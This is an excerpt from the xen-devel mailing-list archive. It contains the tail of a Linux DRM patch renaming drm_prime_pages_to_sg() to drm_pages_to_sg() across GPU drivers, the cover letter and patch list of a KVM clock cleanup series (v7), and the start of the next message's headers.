> diff --git a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> index 6757ae6ec304..f44484325ddb 100644
> --- a/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> +++ b/drivers/gpu/drm/etnaviv/etnaviv_gem_prime.c
> @@ -3,6 +3,7 @@
>   * Copyright (C) 2014-2018 Etnaviv Project
>   */
>  
> +#include <drm/drm_gem.h>
>  #include <drm/drm_prime.h>
>  #include <linux/dma-buf.h>
>  #include <linux/module.h>
> @@ -22,7 +23,7 @@ struct sg_table *etnaviv_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  	if (WARN_ON(!etnaviv_obj->pages))  /* should have already pinned! */
>  		return ERR_PTR(-EINVAL);
>  
> -	return drm_prime_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
> +	return drm_pages_to_sg(obj->dev, etnaviv_obj->pages, npages);
>  }
>  
>  int etnaviv_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/loongson/lsdc_gem.c b/drivers/gpu/drm/loongson/lsdc_gem.c
> index 2fb03487c983..37160228244c 100644
> --- a/drivers/gpu/drm/loongson/lsdc_gem.c
> +++ b/drivers/gpu/drm/loongson/lsdc_gem.c
> @@ -9,7 +9,6 @@
>  #include <drm/drm_dumb_buffers.h>
>  #include <drm/drm_file.h>
>  #include <drm/drm_gem.h>
> -#include <drm/drm_prime.h>
>  #include <drm/drm_print.h>
>  
>  #include "lsdc_drv.h"
> @@ -51,7 +50,7 @@ static struct sg_table *lsdc_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  		return ERR_PTR(-ENOMEM);
>  	}
>  
> -	return drm_prime_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
> +	return drm_pages_to_sg(obj->dev, tt->pages, tt->num_pages);
>  }
>  
>  static void lsdc_gem_object_free(struct drm_gem_object *obj)
> diff --git a/drivers/gpu/drm/msm/msm_gem.c b/drivers/gpu/drm/msm/msm_gem.c
> index efd3d3c9a449..7e3418290c22 100644
> --- a/drivers/gpu/drm/msm/msm_gem.c
> +++ b/drivers/gpu/drm/msm/msm_gem.c
> @@ -207,7 +207,7 @@ static struct page **get_pages(struct drm_gem_object *obj)
>  
>  		msm_obj->pages = p;
>  
> -		msm_obj->sgt = drm_prime_pages_to_sg(obj->dev, p, npages);
> +		msm_obj->sgt = drm_pages_to_sg(obj->dev, p, npages);
>  		if (IS_ERR(msm_obj->sgt)) {
>  			void *ptr = ERR_CAST(msm_obj->sgt);
>  
> diff --git a/drivers/gpu/drm/msm/msm_gem_prime.c b/drivers/gpu/drm/msm/msm_gem_prime.c
> index 036d34c674d9..d25393a9e549 100644
> --- a/drivers/gpu/drm/msm/msm_gem_prime.c
> +++ b/drivers/gpu/drm/msm/msm_gem_prime.c
> @@ -23,7 +23,7 @@ struct sg_table *msm_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  	if (WARN_ON(!msm_obj->pages))  /* should have already pinned! */
>  		return ERR_PTR(-ENOMEM);
>  
> -	return drm_prime_pages_to_sg(obj->dev, msm_obj->pages, npages);
> +	return drm_pages_to_sg(obj->dev, msm_obj->pages, npages);
>  }
>  
>  int msm_gem_prime_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/nouveau/nouveau_prime.c b/drivers/gpu/drm/nouveau/nouveau_prime.c
> index caab60fc62f6..b95f2f07df74 100644
> --- a/drivers/gpu/drm/nouveau/nouveau_prime.c
> +++ b/drivers/gpu/drm/nouveau/nouveau_prime.c
> @@ -32,8 +32,8 @@ struct sg_table *nouveau_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  {
>  	struct nouveau_bo *nvbo = nouveau_gem_object(obj);
>  
> -	return drm_prime_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
> -				     nvbo->bo.ttm->num_pages);
> +	return drm_pages_to_sg(obj->dev, nvbo->bo.ttm->pages,
> +			       nvbo->bo.ttm->num_pages);
>  }
>  
>  struct drm_gem_object *nouveau_gem_prime_import_sg_table(struct drm_device *dev,
> diff --git a/drivers/gpu/drm/panthor/panthor_gem.c b/drivers/gpu/drm/panthor/panthor_gem.c
> index 9855df738194..ec530d254fa4 100644
> --- a/drivers/gpu/drm/panthor/panthor_gem.c
> +++ b/drivers/gpu/drm/panthor/panthor_gem.c
> @@ -321,8 +321,8 @@ panthor_gem_dev_map_get_sgt_locked(struct panthor_gem_object *bo)
>  	if (ret)
>  		return ERR_PTR(ret);
>  
> -	sgt = drm_prime_pages_to_sg(bo->base.dev, bo->backing.pages,
> -				    bo->base.size >> PAGE_SHIFT);
> +	sgt = drm_pages_to_sg(bo->base.dev, bo->backing.pages,
> +			      bo->base.size >> PAGE_SHIFT);
>  	if (IS_ERR(sgt))
>  		return sgt;
>  
> @@ -702,7 +702,7 @@ static struct sg_table *panthor_gem_get_sg_table(struct drm_gem_object *obj)
>  	drm_WARN_ON_ONCE(obj->dev, !bo->backing.pages);
>  	drm_WARN_ON_ONCE(obj->dev, !refcount_read(&bo->backing.pin_count));
>  
> -	return drm_prime_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
> +	return drm_pages_to_sg(obj->dev, bo->backing.pages, obj->size >> PAGE_SHIFT);
>  }
>  
>  static int panthor_gem_vmap_locked(struct drm_gem_object *obj,
> diff --git a/drivers/gpu/drm/radeon/radeon_prime.c b/drivers/gpu/drm/radeon/radeon_prime.c
> index a77881f035e7..4cfc4282a59c 100644
> --- a/drivers/gpu/drm/radeon/radeon_prime.c
> +++ b/drivers/gpu/drm/radeon/radeon_prime.c
> @@ -26,6 +26,7 @@
>  
>  #include <linux/dma-buf.h>
>  
> +#include <drm/drm_gem.h>
>  #include <drm/drm_prime.h>
>  #include <drm/radeon_drm.h>
>  
> @@ -38,8 +39,8 @@ struct sg_table *radeon_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  {
>  	struct radeon_bo *bo = gem_to_radeon_bo(obj);
>  
> -	return drm_prime_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
> -				     bo->tbo.ttm->num_pages);
> +	return drm_pages_to_sg(obj->dev, bo->tbo.ttm->pages,
> +			       bo->tbo.ttm->num_pages);
>  }
>  
>  struct drm_gem_object *radeon_gem_prime_import_sg_table(struct drm_device *dev,
> diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> index b188539dca0b..7897da0becf4 100644
> --- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> +++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
> @@ -89,8 +89,8 @@ static int rockchip_gem_get_pages(struct rockchip_gem_object *rk_obj)
>  
>  	rk_obj->num_pages = rk_obj->base.size >> PAGE_SHIFT;
>  
> -	rk_obj->sgt = drm_prime_pages_to_sg(rk_obj->base.dev,
> -					    rk_obj->pages, rk_obj->num_pages);
> +	rk_obj->sgt = drm_pages_to_sg(rk_obj->base.dev,
> +				      rk_obj->pages, rk_obj->num_pages);
>  	if (IS_ERR(rk_obj->sgt)) {
>  		ret = PTR_ERR(rk_obj->sgt);
>  		goto err_put_pages;
> @@ -432,7 +432,7 @@ struct sg_table *rockchip_gem_prime_get_sg_table(struct drm_gem_object *obj)
>  	int ret;
>  
>  	if (rk_obj->pages)
> -		return drm_prime_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
> +		return drm_pages_to_sg(obj->dev, rk_obj->pages, rk_obj->num_pages);
>  
>  	sgt = kzalloc_obj(*sgt);
>  	if (!sgt)
> diff --git a/drivers/gpu/drm/tegra/gem.c b/drivers/gpu/drm/tegra/gem.c
> index 436394e04812..701af672b4e5 100644
> --- a/drivers/gpu/drm/tegra/gem.c
> +++ b/drivers/gpu/drm/tegra/gem.c
> @@ -17,7 +17,7 @@
>  
>  #include <drm/drm_drv.h>
>  #include <drm/drm_dumb_buffers.h>
> -#include <drm/drm_prime.h>
> +#include <drm/drm_gem.h>
>  
>  #include "drm.h"
>  #include "gem.h"
> @@ -352,7 +352,7 @@ static int tegra_bo_get_pages(struct drm_device *drm, struct tegra_bo *bo)
>  
>  	bo->num_pages = bo->gem.size >> PAGE_SHIFT;
>  
> -	bo->sgt = drm_prime_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
> +	bo->sgt = drm_pages_to_sg(bo->gem.dev, bo->pages, bo->num_pages);
>  	if (IS_ERR(bo->sgt)) {
>  		err = PTR_ERR(bo->sgt);
>  		goto put_pages;
> diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> index 39f8c46550c2..c9e7f2e3668c 100644
> --- a/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> +++ b/drivers/gpu/drm/vmwgfx/vmwgfx_gem.c
> @@ -28,7 +28,7 @@
>  #include "vmwgfx_bo.h"
>  #include "vmwgfx_drv.h"
>  
> -#include "drm/drm_prime.h"
> +#include "drm/drm_gem.h"
>  #include "drm/drm_gem_ttm_helper.h"
>  
>  #include <linux/debugfs.h>
> @@ -76,7 +76,7 @@ static struct sg_table *vmw_gem_object_get_sg_table(struct drm_gem_object *obj)
>  	if (vmw_tt->vsgt.sgt)
>  		return vmw_tt->vsgt.sgt;
>  
> -	return drm_prime_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
> +	return drm_pages_to_sg(obj->dev, vmw_tt->dma_ttm.pages, vmw_tt->dma_ttm.num_pages);
>  }
>  
>  static int vmw_gem_vmap(struct drm_gem_object *obj, struct iosys_map *map)
> diff --git a/drivers/gpu/drm/xe/xe_dma_buf.c b/drivers/gpu/drm/xe/xe_dma_buf.c
> index 8a920e58245c..f0fe80706b79 100644
> --- a/drivers/gpu/drm/xe/xe_dma_buf.c
> +++ b/drivers/gpu/drm/xe/xe_dma_buf.c
> @@ -118,9 +118,9 @@ static struct sg_table *xe_dma_buf_map(struct dma_buf_attachment *attach,
>  
>  	switch (bo->ttm.resource->mem_type) {
>  	case XE_PL_TT:
> -		sgt = drm_prime_pages_to_sg(obj->dev,
> -					    bo->ttm.ttm->pages,
> -					    obj->size >> PAGE_SHIFT);
> +		sgt = drm_pages_to_sg(obj->dev,
> +				      bo->ttm.ttm->pages,
> +				      obj->size >> PAGE_SHIFT);
>  		if (IS_ERR(sgt))
>  			return sgt;
>  
> diff --git a/drivers/gpu/drm/xen/xen_drm_front_gem.c b/drivers/gpu/drm/xen/xen_drm_front_gem.c
> index eec4c1da3f9e..a4a7c7f2c91c 100644
> --- a/drivers/gpu/drm/xen/xen_drm_front_gem.c
> +++ b/drivers/gpu/drm/xen/xen_drm_front_gem.c
> @@ -236,7 +236,7 @@ struct sg_table *xen_drm_front_gem_get_sg_table(struct drm_gem_object *gem_obj)
>  	if (!xen_obj->pages)
>  		return ERR_PTR(-ENOMEM);
>  
> -	return drm_prime_pages_to_sg(gem_obj->dev,
> +	return drm_pages_to_sg(gem_obj->dev,
>  				     xen_obj->pages, xen_obj->num_pages);
>  }
>  
> diff --git a/include/drm/drm_gem.h b/include/drm/drm_gem.h
> index 885244e375d3..7b9cc6335689 100644
> --- a/include/drm/drm_gem.h
> +++ b/include/drm/drm_gem.h
> @@ -155,7 +155,7 @@ struct drm_gem_object_funcs {
>  	 * here cannot be used for sg tables pointing at driver private memory
>  	 * ranges.
>  	 *
> -	 * See also drm_prime_pages_to_sg().
> +	 * See also drm_pages_to_sg().
>  	 */
>  	struct sg_table *(*get_sg_table)(struct drm_gem_object *obj);
>  
> @@ -589,6 +589,9 @@ struct page **drm_gem_get_pages(struct drm_gem_object *obj);
>  void drm_gem_put_pages(struct drm_gem_object *obj, struct page **pages,
>  		bool dirty, bool accessed);
>  
> +struct sg_table *drm_pages_to_sg(struct drm_device *dev,
> +				 struct page **pages, unsigned int nr_pages);
> +
>  void drm_gem_lock(struct drm_gem_object *obj);
>  void drm_gem_unlock(struct drm_gem_object *obj);
>  
> diff --git a/include/drm/drm_prime.h b/include/drm/drm_prime.h
> index f50f862f0d8b..603e16a40ae7 100644
> --- a/include/drm/drm_prime.h
> +++ b/include/drm/drm_prime.h
> @@ -92,8 +92,6 @@ void drm_gem_dmabuf_vunmap(struct dma_buf *dma_buf, struct iosys_map *map);
>  int drm_gem_prime_mmap(struct drm_gem_object *obj, struct vm_area_struct *vma);
>  int drm_gem_dmabuf_mmap(struct dma_buf *dma_buf, struct vm_area_struct *vma);
>  
> -struct sg_table *drm_prime_pages_to_sg(struct drm_device *dev,
> -				       struct page **pages, unsigned int nr_pages);
>  struct dma_buf *drm_gem_prime_export(struct drm_gem_object *obj,
>  				     int flags);
>  
> 
> ---
> base-commit: 48dd37d1fef33fbf42f1d6887c61e242fd21d00d
> change-id: 20260724-get_pages-e2e91c53eaa3
> 
> Best regards,
> --  
> AdriÃ¡n Larumbe <adrian.larumbe@collabora.com>
> 

-- 
====================
| I would like to |
| fix the world,  |
| but they're not |
| giving me the   |
 \ source code!  /
  ---------------
    Â¯\_(ãƒ„)_/Â¯


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374493.1621661 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005NJ-EK; Tue, 28 Jul 2026 14:50:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374493.1621661; Tue, 28 Jul 2026 14:50:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005MM-8M; Tue, 28 Jul 2026 14:50:12 +0000
Received: by outflank-mailman (input) for mailman id 1374493;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058D-R9
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8C-004rLp-0I; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-bab6-0a2a0a5309dd-0a2a4501bf8e-0
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-5984-0a2a45010019-5a9b322294de-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOi-0MAA; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7y-00000001UXo-3m6Z;
 Tue, 28 Jul 2026 15:49:54 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:Message-ID:Date:Subject:To:From:Reply-To:Cc:Content-Type:
	Content-ID:Content-Description:In-Reply-To:References;
	bh=BrGFErkBIg68f71LqKvwO1FDGYKc02JGxomF5JLDYzU=; b=VXbaCjsIawB18OTg0d61vKLhQj
	xvN0gx/rLhETd4S4qz4cXmD00ftzJNP/EkfQlw4o779NWET0obf/BzHXTstvBIwcG/2dBTAqgSwfN
	zVpLBkFE10eZqhmOB4voQ1dfqDhZ0BBrSXwnX3/EYTWll2d7o9E9xw757XKf15yrOvDzU6xIrPbt9
	1/VE8Uz36y3XCk6z69eTCQiCfuC5+lXTCGMtmCc+/ka4OxfAGgQysShSuzfZDXggHcFIsr8zw8x+7
	0MrzZUSWRtCJhqNEL/Tjx+/roJyukbhuBtET//xZwE3Ub496060JFIKNEYTljBOX4D2aaSzhDvIHp
	WPQzizbw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 00/36] Cleaning up the KVM clock mess
Date: Tue, 28 Jul 2026 15:39:40 +0100
Message-ID: <20260728144954.355376-1-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1785250207-1FC69757-4C957742/0/0
X-purgate-type: clean
X-purgate-size: 6750

This is v7 of the series to clean up the KVM clock, rebased onto
kvm-x86/next (patch 1 of v6 is already merged there as commit
710b3a30f407).

The KVM clock has historically suffered from three problems:

 1. Imprecision: get_kvmclock_ns() computed the clock from the *host*
    TSC without applying guest TSC scaling, causing systemic drift from
    the values the guest computes from its own TSC.

 2. Unnecessary discontinuities: gratuitous KVM_REQ_MASTERCLOCK_UPDATE
    requests caused the master clock reference point to be re-snapshotted,
    yanking the guest's clock due to arithmetic precision differences.

 3. No precise migration API: the existing KVM_[GS]ET_CLOCK only allows
    setting the clock at a given UTC reference time, which is necessarily
    imprecise. There was no way to preserve the exact arithmetic
    relationship between guest TSC and KVM clock across live migration.

This series addresses all three, and adds new APIs for precise clock
migration and TSC frequency reporting. As an added bonus, it now rips
out the whole pvclock_gtod_data hack which was shadowing the kernel's
timekeeping, and uses ktime snapshots as $DEITY (well, Thomas) intended.

The series is now ordered with the fixes and cleanups first; the new
uAPI (the pvclock-abi UAPI move, KVM_[GS]ET_CLOCK_GUEST and
KVM_VCPU_TSC_SCALE) and all the new selftests come at the end, so that
the former are not gated on review of the latter.

v7: https://git.infradead.org/?p=users/dwmw2/linux.git;a=shortlog;h=refs/heads/kvmclock7

 - Rebased onto kvm-x86/next; dropped the already-merged first patch.
 - Reordered so that all the new uAPI (pvclock-abi UAPI move,
   KVM_[GS]ET_CLOCK_GUEST, KVM_VCPU_TSC_SCALE) and the new selftests
   come at the end of the series, after the fixes and cleanups which
   do not depend on them (Sean).
 - Split "Restructure get_kvmclock()" into two: dropping the CPU
   pinning is now a separate preliminary patch (Sean).
 - compute_guest_tsc(): use abs() and a conditional negation instead
   of duplicated scaling logic, and note in the changelog that the
   negative delta case is believed unreachable in practice (Sean).
 - Use HZ_PER_KHZ instead of literal 1000 for TSC unit conversions
   (Sean).
 - xen_migration_test: transfer the guest TSC via KVM_VCPU_TSC_OFFSET
   instead of a no-op TSC_ADJUST save/restore, making the runstate
   restore and steal-time assertions deterministic instead of racing
   VM-creation latency.
 - Reference the kvmclock definitions taxonomy by its now-stable
   (hopefully) commit ID 710b3a30f407.

v6: https://lore.kernel.org/all/20260703212145.343527-1-dwmw2@infradead.org/
    https://git.infradead.org/?p=users/dwmw2/linux.git;a=shortlog;h=refs/heads/kvmclock6

David Woodhouse (33):
      KVM: x86: Improve accuracy of KVM clock when TSC scaling is in force
      KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
      KVM: x86: Activate master clock immediately on vCPU creation
      KVM: x86: Avoid NTP frequency skew for KVM clock on 32-bit host
      KVM: x86: Fold __get_kvmclock() into get_kvmclock()
      KVM: x86: Drop CPU pinning in get_kvmclock()
      KVM: x86: Restructure get_kvmclock()
      KVM: x86: Fix KVM clock precision in get_kvmclock() with TSC scaling
      KVM: x86: Use get_kvmclock() in kvm_get_wall_clock_epoch()
      KVM: x86: Fix compute_guest_tsc() to handle negative time deltas
      KVM: x86: Restructure kvm_guest_time_update() for TSC upscaling
      KVM: x86: Simplify and comment kvm_get_time_scale()
      KVM: x86: Remove implicit rdtsc() from kvm_compute_l1_tsc_offset()
      KVM: x86: Improve synchronization in kvm_synchronize_tsc()
      KVM: x86: Kill last_tsc_{nsec,write,offset} fields
      KVM: x86: Replace nr_vcpus_matched_tsc count with all_vcpus_matched_tsc bool
      KVM: x86: Allow KVM master clock mode when TSCs are offset from each other
      KVM: x86: Factor out kvm_use_master_clock()
      KVM: x86: Avoid gratuitous global clock updates
      KVM: x86/xen: Prevent runstate times from becoming negative
      KVM: x86: Avoid redundant masterclock updates from multiple vCPUs
      KVM: x86: Remove runtime Xen TSC frequency CPUID update
      KVM: x86: Re-synchronize TSC after KVM_SET_TSC_KHZ
      KVM: x86: Use ktime_get_snapshot_id() for master clock
      KVM: x86: Compute kvmclock base without pvclock_gtod_data
      KVM: x86: Cache host vclock_mode for masterclock eligibility checks
      KVM: x86: Remove pvclock_gtod_data and private timekeeping code
      KVM: x86: Activate master clock from kvm_arch_init_vm()
      KVM: selftests: Use UAPI pvclock-abi.h in xen_shinfo_test
      KVM: x86: Add KVM_VCPU_TSC_SCALE and fix the documentation on TSC migration
      KVM: selftests: Add master clock offset test
      KVM: selftests: Add Xen/generic CPUID timing leaf test
      KVM: selftests: Add Xen runstate migration test

Jack Allister (3):
      UAPI: x86: Move pvclock-abi to UAPI for x86 platforms
      KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for accurate KVM clock migration
      KVM: selftests: Add KVM/PV clock selftest to prove timer correction

 Documentation/virt/kvm/api.rst                     |   37 +
 Documentation/virt/kvm/devices/vcpu.rst            |  120 ++-
 MAINTAINERS                                        |    4 +-
 arch/x86/include/asm/kvm_host.h                    |   16 +-
 arch/x86/include/uapi/asm/kvm.h                    |    7 +
 arch/x86/include/{ => uapi}/asm/pvclock-abi.h      |   27 +-
 arch/x86/kvm/cpuid.c                               |   16 -
 arch/x86/kvm/msrs.c                                |    9 +-
 arch/x86/kvm/svm/svm.c                             |    3 +-
 arch/x86/kvm/vmx/vmx.c                             |   10 +
 arch/x86/kvm/x86.c                                 | 1089 ++++++++++++--------
 arch/x86/kvm/x86.h                                 |    3 +-
 arch/x86/kvm/xen.c                                 |   28 +-
 arch/x86/kvm/xen.h                                 |   13 -
 include/uapi/linux/kvm.h                           |    3 +
 scripts/xen-hypercalls.sh                          |    2 +-
 tools/testing/selftests/kvm/Makefile.kvm           |    5 +
 .../selftests/kvm/x86/masterclock_offset_test.c    |  180 ++++
 .../selftests/kvm/x86/pvclock_migration_test.c     |  383 +++++++
 tools/testing/selftests/kvm/x86/pvclock_test.c     |  443 ++++++++
 .../selftests/kvm/x86/xen_cpuid_timing_test.c      |  230 +++++
 .../testing/selftests/kvm/x86/xen_migration_test.c |  205 ++++
 tools/testing/selftests/kvm/x86/xen_shinfo_test.c  |   17 +-
 23 files changed, 2325 insertions(+), 525 deletions(-)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374500.1621694 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8I-00061r-EB; Tue, 28 Jul 2026 14:50:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374500.1621694; Tue, 28 Jul 2026 14:50:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8I-0005z3-4y; Tue, 28 Jul 2026 14:50:14 +0000
Received: by outflank-mailman (input) for mailman id 1374500;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8E-0005A4-PK
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8E-00EhwD-6E; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19e-5cb7-0a2a0a5109dd-0a2a450ae24e-14
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a1-f2d2-0a2a450a0019-5a9b3222aafe-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:10 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOp-0PsO; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7y-00000001UXs-48Me;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=e/GsYKz0pMOG8zTWZYGttSiBilY1RWe8Ai2810usw0k=; b=Jiixrmxs2uO1KMlro/kcFd7OoR
	UymNdsIswG1NHxkJWRMbPxTO4uVpF8JGPj7hpU5z+fkHRo642OFsOB3E9gbnotIZSy82Nfv1a+rgC
	FKslcdlrF1Q8SKbjURn55jHJaB96T7WC0aBr8YlRRmCCOWLeIQS7EOZfkQjTjweHFPa1Oc5n5ISpr
	ISmqkz8Mw+OG68MiUAU+/bXRDjC+jovXeMwwD0OCIf3N39cfJIzPnHch5cfvilStzHJww2AvwVttv
